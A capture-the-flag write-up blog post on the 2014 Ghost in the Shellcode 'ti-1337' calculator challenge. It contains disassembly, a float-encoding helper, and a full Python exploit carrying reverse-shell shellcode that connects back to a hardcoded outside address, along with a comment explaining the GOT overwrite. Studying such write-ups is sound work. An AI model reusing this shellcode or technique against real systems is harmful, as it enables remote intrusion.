Tuesday, January 21, 2014

Ghost in the Shellcode 2014 ti-1337

This challenge presented the user with a command line interface calculator using an array to implement a stack. There were several commands that could be sent to the server, however the one command which did not complete a correct check was the pop command represented by the letter 'b'. While the pop implemented a measure to prevent showing new results if it went out of bounds, it did not stop itself from moving up the stack for each 'b' that was sent. The relevant code is in the disassembly below.
.text:00000000004014EE                 push    rbp
.text:00000000004014EF                 mov     rbp, rsp
.text:00000000004014F2                 lea     rax, theStackSize
.text:00000000004014F9                 mov     rax, [rax]
.text:00000000004014FC                 test    rax, rax
.text:00000000004014FF                 js      short maybeEmpty
.text:0000000000401501                 lea     rax, theStackSize
.text:0000000000401508                 mov     rdx, [rax]
.text:000000000040150B                 lea     rax, theStackSize
.text:0000000000401512                 mov     rax, [rax+rdx*8+8]
.text:0000000000401517                 mov     [rbp+var_8], rax
.text:000000000040151B
.text:000000000040151B maybeEmpty:                             ; CODE XREF: pop+11 j
.text:000000000040151B                 lea     rax, theStackSize
.text:0000000000401522                 mov     rax, [rax]
.text:0000000000401525                 lea     rdx, [rax-1]
.text:0000000000401529                 lea     rax, theStackSize
.text:0000000000401530                 mov     [rax], rdx
.text:0000000000401533                 mov     rax, [rbp+var_8]
.text:0000000000401537                 mov     [rbp+var_18], rax
.text:000000000040153B                 movsd   xmm0, [rbp+var_18]
.text:0000000000401540                 pop     rbp
.text:0000000000401541                 retn
.text:0000000000401541 pop             endp
By popping two segments back and putting a number on the stack, we are able to write our shellcode onto the stack. However, since the program is reading in inputs as floating point numbers, our reverse shell needed to be converted to floating point numbers in segments. Python wasn't playing nice with this, so C was used to do the conversion. The relevant code is below.
 void this (long long int y){
12 double x;
11 // printf("0x%lx\n",y);
10 int i;
9 char *xx=&x,*yy=&y;
8 for(i=0;i<8;i++) {
7 memcpy((char*)&xx[i],(char*)&yy[i],1);
6 }
5 printf("\"%.18lg\"\n",x);
4 // scanf("%lg",&x);
3 // memcpy(&y,&x,8);
2 // printf("0x%lx\n",y);
1 // printf("\n\n");
0 }
We pad on to the end to ensure that we hit out shellcode. The winning python script is below.
  import pexpect
import fdpexpect
import sys
import socket
import time
connectBack = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
connectBack += "\xb9\x02\x00\x23\x28\x32\x4c\x8e\xc9\x51\x48\x89\xe6\x6a\x10"
connectBack += "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
connectBack += "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
connectBack += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
connectBack += (8-len(connectBack)%8)*"\x90"

exploit = []
exploit.append("-6.82852703437048257e-229")
exploit.append("-8.5942656633456451e+185")
exploit.append("6.68474035129115045e+91")
exploit.append("9.20412815489135857e-79")
exploit.append("4.94087008802812102e+255")
exploit.append("4.0852036710841077e+40")
exploit.append("2.04296219533742501e+204")
exploit.append("-2.16211186289897248e+46")
exploit.append("-9.47208657532450845e-33")
exploit.append("2.43058597665742808e+204")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
s = socket.socket()
s.connect(("ti-1337.2014.ghostintheshellcode.com",31415))
so = fdpexpect.fdspawn(s)
so.logfile = sys.stdout
so.sendline("b")
so.expect("\n")
for i in range(0,30):
so.sendline("b")
so.expect("\n")
so.sendline("b")
so.expect("\n")
so.sendline(str(exploit[i]))
time.sleep(.1)
so.expect("\n\n\n")
Any questions or comments, feel free to let me know!

--Imp3rial

2 comments:

  1. Hi, so how did you get the code running without overwriting a return address?

    ReplyDelete
  2. My apologies, I forgot to mention how to exploit actually activated. The stack was stored in the memory location below the GOT plt table. So all the extra "3.11458192633288475e-317" that I write are actually just converted blocks of the return address to the code I just put onto the stack. So when any of thew functions are called, it instead calls my shellcode on the rwx memory.

    ReplyDelete